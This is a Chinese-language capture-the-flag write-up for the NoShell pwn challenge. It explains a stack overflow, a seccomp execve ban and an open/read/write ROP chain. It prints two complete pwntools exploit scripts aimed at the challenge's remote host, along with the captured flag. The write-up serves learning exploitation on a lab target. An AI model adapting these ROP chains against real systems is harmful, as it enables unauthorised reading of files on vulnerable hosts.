第一次 ORW:NoShell 详细复盘

前言

这题名字叫 NoShell,题目本身也在明显暗示”没有 shell”。实际做下来,这个提示是真的,不是烟雾弹。

程序里确实有 /bin/sh,也确实存在 system() 调用点,但由于 seccomp 额外 ban 了 execve,所以所有 ret2system / ret2sh 的路线都会死。真正可行的路线是最朴素的 ORW:

  • open
  • read
  • write

这题真正恶心的地方,不是 ROP 本身,而是两个细节:

  • 菜单输入混用了 scanf("%d")read(0, ...)
  • 远程容器里的真实 flag 文件名不是程序里写死的 flag.txt

题目初看

先看二进制基础属性:

  • 架构:amd64
  • No PIE
  • No Canary
  • NX enabled
  • 动态链接

整体程序逻辑

程序启动时会做两件事:

  1. 初始化 IO 缓冲
  2. 加 seccomp

主流程大概是:

  1. 问你 Do you want to say something?
  2. 再问 leave or capture the flag?
  3. 进入一个循环菜单

菜单里关键的几个选项是:

  • 1. Check your power
  • 2. Get_the_power_of_your_cat
  • 3. Open the door
  • 4. Destroy this world

其中真正有关的函数只有三个:

  • Check_your_power()
  • Get_the_power_of_your_cat()
  • open_the_door()

漏洞点分析

1. Check_your_power()

这个函数是栈溢出的核心:

这里原本是一张 Check_your_power() 的反编译截图。

栈缓冲区只有 0x20,但读入长度由全局变量 off 决定。

程序初始时 off = 0x10,这当然溢不出来。但菜单选项 2 会把它改成:

这里原本是一张把 off 改到 0x100 的关键逻辑截图。

于是流程就变成:

  1. 先选 2,把 off 改成 0x100
  2. 再选 1,触发 read(0, buf, 0x100)

此时溢出就是稳定的。

偏移也不复杂:

  • 缓冲区:0x20
  • 保存的 rbp0x8

所以覆盖返回地址的偏移是:

1
0x20 + 0x8 = 0x28

2. open_the_door()

反汇编非常直白:

这里原本是一张 open_the_door() 的反汇编截图。

这个函数本身不会泄露 flag,它只是告诉你:

  • flag 文件相关路径大概率和 flag.txt 有关
  • 题目希望你自己去读文件

所以它更像是一个“提示函数”,而不是“拿 flag 函数”。

3. destroy_this_world()

这里原本是一张 destroy_this_world()system() 调用点的截图。

这个函数里有 system(),而且字符串区里也真的存在 /bin/sh

这就是本题第一个很容易误判的地方。

看到这里第一反应肯定是:

  • 能不能走 ret2system
  • 能不能改参数为 /bin/sh
  • 能不能直接调用菜单逻辑拿 shell

答案是不行,因为 seccomp 卡掉了。

seccomp 分析

程序的 seccomp 初始化逻辑非常关键。它用的是黑名单方式:

这里原本是一张 seccomp 过滤逻辑的截图。

这里的 59amd64 下的 execve

这就意味着:

  • execve 不允许
  • open/read/write 都还活着

所以这题不是“完全沙箱”,而是“禁止 shell”。这类题最稳的思路就是 ORW。

也正因为如此,题目名 NoShell 其实是在直接告诉你正确方向。

第一版思路:固定读 flag.txt

最先能想到的一版 ROP 很自然:

  1. 先调用 open_the_door()
  2. open("flag.txt", 0)
  3. read(fd, .bss, 0x30)
  4. write(1, .bss, 0x30)

ROP gadget 也很够用:

这里原本是一张第一组 ROP gadget 的截图。

这里原本是一张第二组 ROP gadget 的截图。

其中 mov rdi, rax ; ret 很关键,因为 open() 的返回值在 rax,后续 read(fd, ...) 需要把它搬到 rdi

这一版本地很快就能打通,甚至能读出测试用的 flag.txt

但后面远程不通,说明还有别的问题。

第一个坑:scanf("%d")read() 混用

这是整题最阴的点,也是最该写清楚的坑。

菜单读取选择时用的是:

1
scanf("%d", &choice);

真正的溢出读入用的是:

1
read(0, buf, off);

如果把这两步当成“同一个 fd 上顺序消费字节”,很容易直接这样发:

1
io.sendafter(b"your choice: ", b"1" + payload)

看起来很合理,但实际上glibcscanf 不是裸 syscall,它有自己的 FILE 缓冲。

真实发生的是:

  1. scanf("%d") 读到字符 '1'
  2. 它还会继续看下一个“非数字字符”来决定整数结束
  3. 这个非数字字符会被它预读进 stdio 缓冲区
  4. 后面的 read(0, ...) 是内核级读,不会从 stdio 缓冲里拿数据

结果就是:

  • 我们送进来的 payload,第一个字节先被 scanf 吞掉了
  • read() 拿到的是“少一个字节”的剩余内容
  • 整条 ROP 整体左移 1 字节

这个现象在 GDB 里非常明显,栈上会出现一堆畸形地址,比如:

1
2
0x8700000000004013
0xf300000000004014

如果看到这种“高位是原 gadget,低位全乱掉”的地址,基本就要想到是不是发生了字节错位。

正确做法

不能把菜单输入和溢出数据一次性塞进去。

要拆成两次:

  1. 先发 1X
  2. 稍等一小会,让程序真正进入 read(0, ...)
  3. 再发 payload

这里的 X 是牺牲字节,专门拿给 scanf 吃的。

最终脚本里的处理是:

1
2
3
io.sendafter(b"your choice: ", b"1X")
sleep(0.1)
io.send(payload)

这一步修完之后,本地 ORW 就稳定了。

第二个坑:错误的二段栈迁移

在本地打通固定路径之后,下一个直觉是把“路径”也做成可控输入。因为远程有可能不是 flag.txt

开始尝试典型的二段打法:

  1. 第一段 ROP 把第二段读到 .bss + 偏移
  2. 栈迁移到那块内存
  3. 第二段做真正的 ORW

思路没问题,但第一次实现犯了一个很典型的错误:

  • 想当然地把第二段丢到了 .bss + 0x300

问题是这个 ELF 的 .bss 非常小,只有 0x30,而整个 RW 段边界也是有限的。

结果就是:

  • .bss + 0x300 根本不在已映射可写段里
  • 栈一迁过去直接 SIGSEGV

这个坑很值得单独记一下:做无 PIE 题的时候,不要把 .bss 当无限大缓冲区。最好先看:

1
2
readelf -S noshell
readelf -l noshell

确认:

  • .bss 起始地址
  • .bss 大小
  • RW LOAD 段范围

之后再决定 staging 放哪。

第三个坑:远程环境和本地环境不一致

这题最坑的一点,是程序字符串里明明写着 flag.txtopen_the_door() 也确实在打开 flag.txt,但新远程容器里实际存在的文件名还是flag(好好好,虽然平时都是cat flag,但还是被题目flag.txt迷惑了)

这会导致一种非常迷惑的现象:

  • 本地构造 flag.txt 测试,一切正常
  • 远程也能成功执行 open/read/write
  • 但读出来的不是 flag,而是一串垃圾

为什么会是垃圾?

因为固定路径版做的是:

1
2
3
fd = open("flag.txt", 0);
read(fd, buf, 0x30);
write(1, buf, 0x30);

如果 open() 失败,返回值就是 -1。后面继续 read(-1, ...),缓冲区不会被正确填充,最后 write(1, buf, 0x30) 就会把旧内容或未初始化内容打出来,看起来就像“ROP 跑了,但读到一堆玄学垃圾”。

最终思路:单阶段任意路径 ORW

与其继续做复杂的多阶段栈迁移,不如把路径读取也塞进同一条链里。

题目里单次溢出窗口是 0x100,刚好够用。

最后的单阶段链逻辑是:

  1. read(0, .bss, PATH_SIZE),把我们后发的路径字符串读到 .bss
  2. open(.bss, 0)
  3. read(fd, .bss, 0x30)
  4. write(1, .bss, 0x30)

好处是:

  • 不需要栈迁移
  • 不依赖第二段 staging
  • 远程只要路径猜对就能直接出 flag

利用时流程变成:

  1. 正常进菜单,把 off 改成 0x100
  2. 触发 Check_your_power()
  3. 先送 ROP
  4. 再额外送路径,比如 flag

这也是最终脚本中 build_orw_chain(None) 的含义:路径地址先留空,由链自己先读入。

最终利用脚本

最终脚本如下:

  • 本地/远程
  • 固定 flag.txt
  • 任意路径读取
  • 自定义 HOST/PORT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *

context.binary = elf = ELF("./noshell", checksec=False)
context.os = "linux"
context.arch = "amd64"

HOST = "docker.qingcen.net"
PORT = 42772

POP_RDI = 0x4013F3
RET = 0x4013F4
POP_RSI = 0x4013F5
POP_RDX = 0x4013F7
MOV_RDI_RAX = 0x4013F9

OPEN_PLT = elf.plt["open"]
READ_PLT = elf.plt["read"]
WRITE_PLT = elf.plt["write"]
EXIT_PLT = elf.plt["exit"]
OPEN_THE_DOOR = elf.sym["open_the_door"]

OFFSET = 0x28
PATH_SIZE = 0x20
READ_SIZE = 0x30
SCRATCH = elf.bss()
FLAG_TXT = next(elf.search(b"flag.txt\x00"))


def start():
host = args.HOST or HOST
port = int(args.PORT or PORT)
if args.REMOTE:
return remote(host, port)
return process(elf.path)


def build_orw_chain(path_addr):
chain = []
if path_addr is None:
chain += [
POP_RDI,
0,
POP_RSI,
SCRATCH,
POP_RDX,
PATH_SIZE,
READ_PLT,
]
path_addr = SCRATCH

chain += [
POP_RDI,
path_addr,
POP_RSI,
0,
RET,
OPEN_PLT,
MOV_RDI_RAX,
POP_RSI,
SCRATCH,
POP_RDX,
READ_SIZE,
READ_PLT,
POP_RDI,
1,
POP_RSI,
SCRATCH,
POP_RDX,
READ_SIZE,
RET,
WRITE_PLT,
]
return flat(chain)


def build_stage1():
return flat(
b"A" * OFFSET,
RET,
OPEN_THE_DOOR,
build_orw_chain(FLAG_TXT),
POP_RDI,
0,
RET,
EXIT_PLT,
)


def build_diag_payload():
return flat(
b"A" * OFFSET,
RET,
OPEN_THE_DOOR,
RET,
EXIT_PLT,
)


def build_path_payload():
return flat(
b"A" * OFFSET,
build_orw_chain(None),
)


def build_payload(path_bytes=None):
if args.DIAG:
return build_diag_payload()
if path_bytes is not None or args.PATH:
return build_path_payload()
return build_stage1()


def trigger(io, payload):
io.sendlineafter(b"Do you want to say something?\n", b"N")
io.sendlineafter(b"leave or capture the flag?\n", b"2")
io.sendlineafter(b"your choice: ", b"2")
io.sendafter(b"your choice: ", b"1X")
sleep(0.1)
io.send(payload)


def exploit(io, path_bytes=None):
payload = build_payload(path_bytes)
trigger(io, payload)
if path_bytes is not None:
sleep(0.2)
io.send(path_bytes.ljust(PATH_SIZE, b"\x00"))


def main():
if args.DEBUG:
context.log_level = "debug"

path_bytes = args.PATH.encode() if args.PATH else None
io = start()
exploit(io, path_bytes)
out = io.recvall(timeout=2)
if out:
print(out.decode(errors="ignore"), end="")


if __name__ == "__main__":
main()

远程命令:

1
python3 exp.py REMOTE HOST=docker.qingcen.net PORT=42772 PATH=flag

得到输出:

1
2
3
4
Your power:
256
say something:
flag{941480e5-f7e4-485f-9695-556d4d023176}

另附人教版(上面为AI版):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.binary = elf = ELF("./noshell", checksec=False)
context(arch="amd64", os="linux")

if args.DEBUG:
context.log_level = "debug"

host = "docker.qingcen.net"
port = 43399

if args.REMOTE:
p = remote(args.HOST or host, int(args.PORT or port))
else:
p = process("./noshell")

pop_rdi = 0x4013F3
ret = 0x4013F4
pop_rsi = 0x4013F5
pop_rdx = 0x4013F7
mov_rdi_rax = 0x4013F9

open_plt = elf.plt["open"]
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]

offset = 0x28
path_size = 0x20
read_size = 0x30
scratch = elf.bss()
path_bytes = b"flag\x00"

orw_chain = flat(
pop_rdi, 0,
pop_rsi, scratch,
pop_rdx, path_size,
read_plt,

pop_rdi, scratch,
pop_rsi, 0,
ret,
open_plt,

mov_rdi_rax,
pop_rsi, scratch,
pop_rdx, read_size,
read_plt,

pop_rdi, 1,
pop_rsi, scratch,
pop_rdx, read_size,
ret,
write_plt,
)

payload = b"A" * offset
payload += orw_chain

p.sendlineafter(b"Do you want to say something?\n", b"N")
p.sendlineafter(b"leave or capture the flag?\n", b"2")
p.sendlineafter(b"your choice: ", b"2")

# scanf("%d") 会提前吞掉一个非数字字节,所以先单独发一个占位字节。
p.sendafter(b"your choice: ", b"1X")
sleep(0.1)
p.send(payload)

sleep(0.2)
p.send(path_bytes.ljust(path_size, b"\x00"))
p.interactive()

这题最值得记住的两个教训

1. scanfread 混用是经典输入坑

如果之后再遇到:

  • 菜单选择用 scanf
  • 漏洞触发用 read

那就要本能警惕 stdio 缓冲预读问题。很多时候你看到的“奇怪错位崩溃”,不是 gadget 不对,而是输入早就被前一个 scanf 吃掉一部分了。

2. 不要过度相信二进制里的明文路径

flag.txt 确实在程序里,但远程容器真正的文件名是 flag。这类题如果本地和远程不一致,最稳的解法就是尽早把“路径可控”做出来,而不是继续赌出题人会完全按本地附件部署。

结果验证

1
flag{941480e5-f7e4-485f-9695-556d4d023176}
宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
  1. 合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
  2. 道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
  3. 风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
  4. 合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
  5. 最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
  6. 数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
  7. 免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
  • 先授权,再测试
  • 只针对自己拥有或有权测试的系统
  • 发现漏洞后,及时报告并协助修复
  • 尊重隐私,不越界
警告:技术无善恶,人心有黑白。请明智选择你的道路。
声明参考链接:https://blog.csdn.net/2402_84408069/article/details/157263936